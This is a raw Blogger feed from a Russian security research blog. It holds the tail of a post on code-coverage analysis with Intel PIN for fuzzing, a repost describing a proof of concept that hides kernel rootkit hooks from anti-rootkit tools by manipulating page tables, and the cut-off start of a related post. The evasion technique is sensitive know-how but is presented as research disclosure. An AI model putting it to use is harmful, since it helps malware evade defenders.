&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 57&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: green;"&gt;/*&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 58&lt;/span&gt; &lt;span style="color: green;"&gt;            Вызов функции, которая открывает в IE тестовый адрес указанное число раз.&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 59&lt;/span&gt; &lt;span style="color: green;"&gt;            Для взаимодействия с процессом браузера используется интерфейс IWebBrowser2.&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 60&lt;/span&gt; &lt;span style="color: green;"&gt;        &lt;/span&gt;&lt;span style="color: green;"&gt;*/&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 61&lt;/span&gt; &lt;span style="color: black;"&gt;        IeOpenUrl(TEST_URL, dwTestIterations);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 62&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 63&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; замер времени исполнения&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 64&lt;/span&gt; &lt;span style="color: black;"&gt;        dwTime &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; GetTickCount() &lt;/span&gt;&lt;span style="color: black;"&gt;-&lt;/span&gt;&lt;span style="color: black;"&gt; dwTime;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 65&lt;/span&gt; &lt;span style="color: black;"&gt;        printf(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;Execution time: %d ms\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, dwTime);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 66&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 67&lt;/span&gt; &lt;span style="color: black;"&gt;        EnableIeMultiprocessMode();&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 68&lt;/span&gt; &lt;span style="color: black;"&gt;        SetOptionalApp(NULL);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 69&lt;/span&gt; &lt;span style="color: black;"&gt;    }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 70&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;else&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 71&lt;/span&gt; &lt;span style="color: black;"&gt;    {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 72&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: green;"&gt;/*&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 73&lt;/span&gt; &lt;span style="color: green;"&gt;            Текущий процесс был запущен системой в результате попытки&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 74&lt;/span&gt; &lt;span style="color: green;"&gt;            запуска IEXPLORE.EXE.&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 75&lt;/span&gt; &lt;span style="color: green;"&gt;        &lt;/span&gt;&lt;span style="color: green;"&gt;*/&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 76&lt;/span&gt; &lt;span style="color: black;"&gt;        DWORD dwExitCode &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 77&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: blue;"&gt;char&lt;/span&gt;&lt;span style="color: black;"&gt; szOptional[MAX_PATH], szCmdLine[MAX_PATH];&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 78&lt;/span&gt; &lt;span style="color: black;"&gt;        strcpy_s(szCmdLine, MAX_PATH, lpszCmd);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 79&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 80&lt;/span&gt; &lt;span style="color: black;"&gt;        lpszCmd &lt;/span&gt;&lt;span style="color: black;"&gt;+=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;2&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 81&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 82&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; удаляем опцию "Debugger" для IEXPLORE.EXE&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 83&lt;/span&gt; &lt;span style="color: black;"&gt;        SetImageExecutionDebuggerOption(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;IEXPLORE.EXE&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, NULL);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 84&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 85&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; получаем путь к инструментальной программе&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 86&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (GetOptionalApp(szOptional, MAX_PATH))&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 87&lt;/span&gt; &lt;span style="color: black;"&gt;        {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 88&lt;/span&gt; &lt;span style="color: black;"&gt;            sprintf_s(szCmdLine, &lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;\"%s\" %s&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, szOptional, lpszCmd);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 89&lt;/span&gt; &lt;span style="color: black;"&gt;        }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 90&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 91&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; запуск IE c использованием PIN&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 92&lt;/span&gt; &lt;span style="color: black;"&gt;        printf(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;CMDLINE: %s\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, szCmdLine);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 93&lt;/span&gt; &lt;span style="color: black;"&gt;        ExecCmd(&lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;dwExitCode, szCmdLine);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 94&lt;/span&gt; &lt;span style="color: black;"&gt;    }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 95&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 96&lt;/span&gt; &lt;span style="color: black;"&gt;end:&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 97&lt;/span&gt; &lt;span style="color: black;"&gt;    printf(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;Press any key to quit...\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 98&lt;/span&gt; &lt;span style="color: black;"&gt;    _getch();&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 99&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;100&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;return&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;101&lt;/span&gt; &lt;span style="color: black;"&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;Программа coverage_test.exe входит в состав&amp;nbsp;&lt;a href="https://github.com/Cr4sh/Code-coverage-analysis-tools"&gt;Code Coverage Analysis Tools&lt;/a&gt;, её запуск следует производить с помощью сценария coverage_test_with_pin.bat, который инициирует запуск процесса браузера Internet Explorer под контролем PIN и проводит с ним то количество тестовых итераций, которое было указанно в качестве аргумента командной строки к&amp;nbsp;coverage_test_with_pin.bat. Каждая тестовая итерация представляет собой открытие адреса google.com с помощью IWebBrowser2::Navigate() и ожидание завершения полной загрузки страницы.&lt;br /&gt;&lt;br /&gt;С данной программой было проведено пять серий тестов с количеством итераций 1, 5, 10, 20 и 30. Ниже представлена гистограмма зависимости времени исполнения процесса браузера (в миллисекундах) от количества итераций:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://dl.dropbox.com/u/22903093/blog/pintool/IE_TESTS.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img alt="" height="355" src="http://dl.dropbox.com/u/22903093/blog/pintool/IE_TESTS.png" width="521" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Как видно, исполнение процесса под контролем PIN обуславливает примерно десятикратное снижение производительности в тестах. Однако, спад производительности становится менее значительным при увеличении числа итераций. Причина подобного, вероятно, кроется в самом принципе динамической рекомпиляции: высокие накладные расходы требуются только тогда, когда какой-либо фрагмент кода исполняется в первый раз, а при его повторное исполнение требует гораздо меньше процессорного времени.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Схожие разработки&lt;/h3&gt;PIN является не единственным фреймворком подобного подобного плана, существует так же разработка под названием &lt;a href="http://dynamorio.org/"&gt;DynamoRIO&lt;/a&gt;, которая похожа на PIN во всех отношениях. В качестве главных преимуществ DynamoRIO&amp;nbsp;можно выделить более высокую производительность а так же полностью открытый под &lt;a href="http://en.wikipedia.org/wiki/BSD_licenses"&gt;BSD лицензией&lt;/a&gt; исходный код. Однако, актуальная версия&amp;nbsp;DynamoRIO имеет ряд проблем со стабильностью - мне так и не удалось добиться нормальной её работы на Windows 7, из-за чего выбор и пал на PIN.&lt;br /&gt;&lt;br /&gt;C данными по сравнительной производительности обеих фреймворков можно ознакомится в заметке на GoVirtual:&amp;nbsp;&lt;a href="http://www.govirtual.org/blogs/derek/2008/09/18/performance-comparison-of-dynamorio-and-pin"&gt;Performance Comparison of DynamoRIO and Pin&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Выводы&lt;/h3&gt;В заключении стоит отметить, что применение PIN непосредственно во время фаззинга оправданно только в том случае, если каждая итерация фаззера не влечет за собой создание нового процесса исследуемого приложения. Во всех остальных случаях применение анализа покрытия кода на основе PIN целесообразно только на этапе выбора тестовых данных, с которыми будет работать мутационный фаззер (выбирается тот набор данных, который дает максимальный размер покрытия при нормальном исполнении).&lt;br /&gt;&lt;br /&gt;Code Coverage Analysis Tools доступны для загрузки &lt;a href="https://github.com/Cr4sh/Code-coverage-analysis-tools"&gt;на странице проекта в GitHub&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1259663162418910941-7275250139051537170?l=blog.cr4.sh' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cr4.sh/feeds/7275250139051537170/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://blog.cr4.sh/2011/03/blog-post.html#comment-form' title='Комментарии: 3'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/7275250139051537170'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/7275250139051537170'/><link rel='alternate' type='text/html' href='http://blog.cr4.sh/2011/03/blog-post.html' title='Анализ покрытия кода при поиске уязвимостей'/><author><name>Сr4sh</name><uri>http://www.blogger.com/profile/15699156202053043387</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_8WKXMyf2wH8/TQdhp_Ix_JI/AAAAAAAAABo/2_SuNdpwTzg/S220/av.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1259663162418910941.post-8951034172171760491</id><published>2011-01-21T03:30:00.000-08:00</published><updated>2011-12-03T13:45:58.414-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='программы'/><category scheme='http://www.blogger.com/atom/ns#' term='Esаge Lab'/><category scheme='http://www.blogger.com/atom/ns#' term='руткиты'/><category scheme='http://www.blogger.com/atom/ns#' term='релизы'/><title type='text'>Обход детектирования модификаций кода в ядре</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="repost"&gt;Репост из &lt;a href="http://esagelab.ru/blog/tech/%D0%BE%D0%B1%D1%85%D0%BE%D0%B4-%D0%B4%D0%B5%D1%82%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F-%D0%BC%D0%BE%D0%B4%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D0%B9-%D0%BA%D0%BE#more-146"&gt;блога Esage Lab&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;В &lt;a href="http://esagelab.ru/blog/tech/%D0%BE%D0%B1%D1%85%D0%BE%D0%B4-%D0%B4%D0%B5%D1%82%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F-%D1%81%D0%BA%D1%80%D1%8B%D1%82%D0%BE%D0%B3%D0%BE-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB"&gt;прошлом посте&lt;/a&gt; речь шла про обход детектирования скрытого исполняемого кода на примере популярных антируткит-утилит. В этой записи я снова затрону тему их обхода, но на этот раз, речь будет идти про механизмы детектирования перехватов, установленных методом модификации кода в памяти.&lt;br /&gt;&lt;br /&gt;Как несложно догадаться, детектирование перехватов, установленных как легитимным ПО так и всевозможными зловредами, на ряду с детектированием скрытого исполняемого кода является одной из возможностей, благодаря которым универсальные &amp;nbsp;антируткиты все ещё остаются актуальными в качестве детекторов аномалий.&lt;br /&gt;&lt;br /&gt;В "джентльменский&amp;nbsp;набор" антируткита, обычно, входят возможности по детектированию следующих типов перехватов:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Модификация кода исполняемых модулей в памяти (сплайсинг - одна из возможных вариаций).&lt;/li&gt;&lt;li&gt;Модификация таблиц импорта или экспорта.&lt;/li&gt;&lt;li&gt;Модификация таблицы системных вызовов.&lt;/li&gt;&lt;li&gt;Модификация указателей на функции, которые содержатся в каких-либо динамических структурах ядра (DRIVER_OBJECT, OBJECT_TYPE_INITIALIZER и другие).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://dl.dropbox.com/u/22903093/blog/bypassing-hooks/RkU_Hooks.png"&gt;&lt;img alt=""  src="http://dl.dropbox.com/u/22903093/blog/bypassing-hooks/RkU_Hooks.png" style="border: 1px solid black;" /&gt;&lt;/a&gt;&lt;em&gt; &lt;/em&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;em&gt;Детектирование модификаций кода в Rootkit Unhooker&lt;/em&gt;&lt;/div&gt;&lt;br /&gt;Все эти типы перехватов объединяет тот факт, что их детектирование в любом случае будет представлять из себя чтение и проверку содержимого определённых регионов виртуальной памяти (ядра или пользовательского режима), в связи с чем напрашивается очевидный вывод: детектору можно подсунуть ложную страницу памяти путём манипуляций с таблицами, которые используются процессором для трансляции виртуальных адресов в физические.&lt;br /&gt;&lt;br /&gt;Идея подобной атаки -&amp;nbsp;отнюдь&amp;nbsp;не нова: например, &lt;a href="http://www.nynaeve.net/"&gt;Skywing&lt;/a&gt; упоминал подобный метод как теоретически возможное решение для обхода PatchGuard на 64-х разрядных версиях Windows. Однако, в связи с тем, что в публичных источниках какую-либо реализацию подобного нам найти не удалось - было решено написать PoC, который бы в качестве демонстрации работоспособности идеи мог скрывать от антируткитов модификации кода, характерные для стандартных руткитов режима ядра.&lt;br /&gt;&lt;br /&gt;Для понимания принципа работы PoC-а кратко рассмотрим реализацию механизма трансляции виртуальных адресов памяти в физические, которая применяется в современных операционных системах семейства Windows NT. Раздел "Protected Mode Memory Management" тома 3A руководства разработчика для&amp;nbsp;архитектуры&amp;nbsp;Intel 64 и IA-32 рассказывает нам о том, что в зависимости от значений различных управляющих флагов в контрольных регистрах процессора существует несколько режимов адресации, которые определяют как размер физической страницы, так и разрядность физического адреса (максимальное количество памяти, к которой способен обращаться процессор):&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://dl.dropbox.com/u/22903093/blog/bypassing-hooks/physical-address-size.png"&gt;&lt;img alt="" style="border: 0px;" src="http://dl.dropbox.com/u/22903093/blog/bypassing-hooks/physical-address-size.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;По умолчанию в Windows, начиная с XP Service Pack 2, используется режим PAE (&lt;a href="http://en.wikipedia.org/wiki/Physical_Address_Extension"&gt;Physical Address Extension&lt;/a&gt;) поскольку он является необходимым условием для поддержки &lt;a href="http://en.wikipedia.org/wiki/Nx-bit"&gt;NX/XD-битов&lt;/a&gt;, на которых, в свою очередь, базируется технология &lt;a href="http://en.wikipedia.org/wiki/Data_Execution_Prevention"&gt;DEP&lt;/a&gt;. Как видно из таблицы, разрядность физического адреса в данном режиме составляет 36 бит, а размер физической страницы может составлять 2 мегабайта или 4 килобайта. Windows может использовать 2MB и 4KB физические страницы одновременно, по усмотрению диспетчера памяти ядра операционной системы. Так же стоит помнить, что размер &lt;strong&gt;виртуальной&lt;/strong&gt; страницы памяти при этом всегда будет составлять 4KB (1000h байт).&lt;br /&gt;&lt;br /&gt;Получение физического адреса из виртуального заключается в "складывании" адреса физической страницы и смещения на ней. Адрес физической страницы отыскивается процессором путём просмотра таблиц PDPTE, PDE и PTE, индексами для которых являются различные группы битов виртуального (линейного) адреса. Смещение на физической странице определяется младшими 12-ю битами виртуального адреса:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://dl.dropbox.com/u/22903093/blog/bypassing-hooks/Clear-System.png"&gt;&lt;img alt="Трансляция виртуального адреса в физический на системах с PAE для 4KB страниц" style="border: 0px;" src="http://dl.dropbox.com/u/22903093/blog/bypassing-hooks/Clear-System.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Физический адрес самой первой таблицы в иерархии, PDPTE, процессор считывает из регистра CR3, в который его помещает операционная система во время перехода в &lt;a href="http://en.wikipedia.org/wiki/Protected_Mode"&gt;защищенный режим&lt;/a&gt; или при переключении задач.&lt;br /&gt;&lt;br /&gt;Таким образом, для адресации 4GB виртуального адресного пространства Windows инициализирует:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;4 записи в таблице PDPTE&lt;/li&gt;&lt;li&gt;4 таблицы PDE с 512-ю записями в каждой&lt;/li&gt;&lt;li&gt;512 таблиц PTE c 512-ю записями в каждой&lt;/li&gt;&lt;/ul&gt;В обзорных статьях, описывающих управление памятью в Windows, почему-то не упоминается один важный момент: для каждого процесса ядро аллоцирует свои собственные таблицы PDPTE и PDE а так же ту часть PTE таблиц, которые описывают пространство виртуальной памяти пользовательского режима. Общие для всех процессов только PTE-таблицы, описывающие пространство виртуальной памяти режима ядра.&lt;br /&gt;&lt;br /&gt;Как уже было упомянуто, Windows может использовать и 2MB физические страницы, в случае с которыми схема вычисления физического адреса несколько упрощается за счёт того, что в ней не задействуются таблицы PTE:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://dl.dropbox.com/u/22903093/blog/bypassing-hooks/PAE.png"&gt;&lt;img alt="" style="border: 0px;" src="http://dl.dropbox.com/u/22903093/blog/bypassing-hooks/PAE.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;Исходя из вышеизложенных принципов можно сделать вывод, что обращения к виртуальным адресам для какого-либо конкретного процесса в Windows можно "перенаправить" на ложную физическую страницу, путём манипуляции значениями физического адреса, которые хранятся в его PDE и/или PTE таблицах. Данная идя и легла в основу реализованного PoC-а, работа которого заключается в осуществлении следующих манипуляций:&lt;/div&gt;&lt;ol&gt;&lt;li&gt;Во время инициализации драйвер режима ядра PoC-а выделяет память, в которую копирует оригинальное содержимое страницы кода ядра, на который, в последствии, будет установлен перехват методом сплайсинга.&lt;/li&gt;&lt;li&gt;Устанавливает демонстрационный перехват функции ядра &lt;a href="http://msdn.microsoft.com/en-us/library/ff548336.aspx"&gt;IoCallDriver&lt;/a&gt;() а так же нотификатор на создание/завершение процессов, который используется для отслеживания запуска процессов антируткитов.&lt;/li&gt;&lt;li&gt;По факту запуска процесса антируткита (которые, для упрощения примера, идентифицируются по списку известных имен исполняемых файлов) PoC модифицирует таблицы трансляции виртуальных адресов для этого процесса таким образом, что бы при попытке чтения модифицированной страницы кода ядра обращение происходило к "ложной" физической странице, которая содержит оригинальную копию кода.&lt;/li&gt;&lt;/ol&gt;&lt;div style="text-align: left;"&gt;Модификация таблиц трансляции виртуальных адресов в физические осуществляется следующим образом:&lt;/div&gt;&lt;ol&gt;&lt;li&gt;Выполняется поиск PDE записи, которая соответствует нужному виртуальному адресу.&lt;/li&gt;&lt;li&gt;Если PDE запись указывает на 2MB страницу - PoC производит логическое разбиение этой страницы на 512 страниц по 4KB, путём аллокации для них новой таблицы PTE записей.&lt;/li&gt;&lt;li&gt;Так как PTE записи, описывающие адреса пространства ядра, общие для всех процессов - PoC производит копирование таблицы PTE в новый регион памяти, физический адрес которого записывается в ранее найденную PDE запись.&lt;/li&gt;&lt;li&gt;И наконец - в PTE запись, соответствующую нужному виртуальному адресу, производится установка физического адреса "ложной" страницы памяти.&lt;/li&gt;&lt;/ol&gt;&lt;div style="text-align: left;"&gt;В графическом представлении модифицированные таблицы выглядят так:&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://dl.dropbox.com/u/22903093/blog/bypassing-hooks/With-the-PoC.png"&gt;&lt;img alt="" style="border: 0px;" src="http://dl.dropbox.com/u/22903093/blog/bypassing-hooks/With-the-PoC.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;Данная техника сокрытия имеет и некоторые недостатки:&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Текущая демонстрационная реализация PoC-а умеет скрывать модификации кода только от тех процессов, имена исполняемых файлов которых заранее известны. Однако, этот недостаток можно устранить в "боевой" реализации путём идентификации процесса антируткита по факту попытки считывания ним модифицированной страницы памяти. Саму попытку считывания можно перехватывать используя&amp;nbsp;или отладочные регистры процессора, или продемонстрированную в рутките &lt;a href="http://www.blackhat.com/presentations/bh-jp-05/bh-jp-05-sparks-butler.pdf"&gt;Shadow Walker&lt;/a&gt; технику принудительной инвалидации страницы с перехватом исключения #PF при обращении к ней.&lt;/li&gt;&lt;li&gt;Так как в контексте процесса антируткита все обращения будут перенаправляться на "ложную" страницу с оригинальным исполняемым кодом - установленные руткитом перехваты для данного процесса срабатывать не будут. Для рассмотренной техники сокрытия данное ограничение нельзя обойти по определению, однако, для решения стоящих перед руткитом задач оно может являться не существенным.&lt;/li&gt;&lt;/ul&gt;Видео, демонстрирующее работу PoC-а:&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="300" src="http://player.vimeo.com/video/19026896?byline=0&amp;amp;portrait=0" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/19026896"&gt;PTBypass PoC&lt;/a&gt; from &lt;a href="http://vimeo.com/user5329850"&gt;eSage Lab&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;PoC работоспособен на 32-х разрядных версиях Windows XP, Vista и 7. Установленный перехват не детектируется такими антируткитами как RootkitUnhooker, GMER, Kernel Detective и CMC Anti Rootkit.&amp;nbsp;Исходные тексты и исполняемые файлы PoC-а доступны в &lt;a href="https://github.com/Cr4sh/PTBypass-PoC"&gt;репозитории&lt;/a&gt; на GitHub а так же в виде &lt;a href="http://www.esagelab.com/files/PTBypass-PoC-20.01.11.zip"&gt;архива&lt;/a&gt;.&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1259663162418910941-8951034172171760491?l=blog.cr4.sh' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cr4.sh/feeds/8951034172171760491/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://blog.cr4.sh/2011/01/blog-post.html#comment-form' title='Комментарии: 3'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/8951034172171760491'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/8951034172171760491'/><link rel='alternate' type='text/html' href='http://blog.cr4.sh/2011/01/blog-post.html' title='Обход детектирования модификаций кода в ядре'/><author><name>Сr4sh</name><uri>http://www.blogger.com/profile/15699156202053043387</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_8WKXMyf2wH8/TQdhp_Ix_JI/AAAAAAAAABo/2_SuNdpwTzg/S220/av.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1259663162418910941.post-40177810242832065</id><published>2010-12-27T03:25:00.000-08:00</published><updated>2011-12-03T13:49:34.151-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='программы'/><category scheme='http://www.blogger.com/atom/ns#' term='Esаge Lab'/><category scheme='http://www.blogger.com/atom/ns#' term='руткиты'/><category scheme='http://www.blogger.com/atom/ns#' term='релизы'/><title type='text'>Обход детектирования скрытого исполняемого кода</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="repost"&gt;Репост из &lt;a href="http://esagelab.ru/blog/tech/%D0%BE%D0%B1%D1%85%D0%BE%D0%B4-%D0%B4%D0%B5%D1%82%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F-%D1%81%D0%BA%D1%80%D1%8B%D1%82%D0%BE%D0%B3%D0%BE-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB"&gt;блога Esage Lab&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Универсальные антируткиты, как инструменты для надёжной борьбы со скрытыми объектами, за последние несколько лет стали очень сильно проигрывать в гонке технологий с писателями malware, чьи разработки постепенно уходят от классической модели реализации (драйвер + скрытый файл + скрытый системный сервис). Всем известно, что хороший современный руткит представляет собой уже не отдельный файл, а просто кусок исполняемого кода, получающий управление из зараженного драйвера или загрузочного сектора. В настоящее время присутствует довольно много вредоносных программ, которые нельзя достоверно детектировать (а 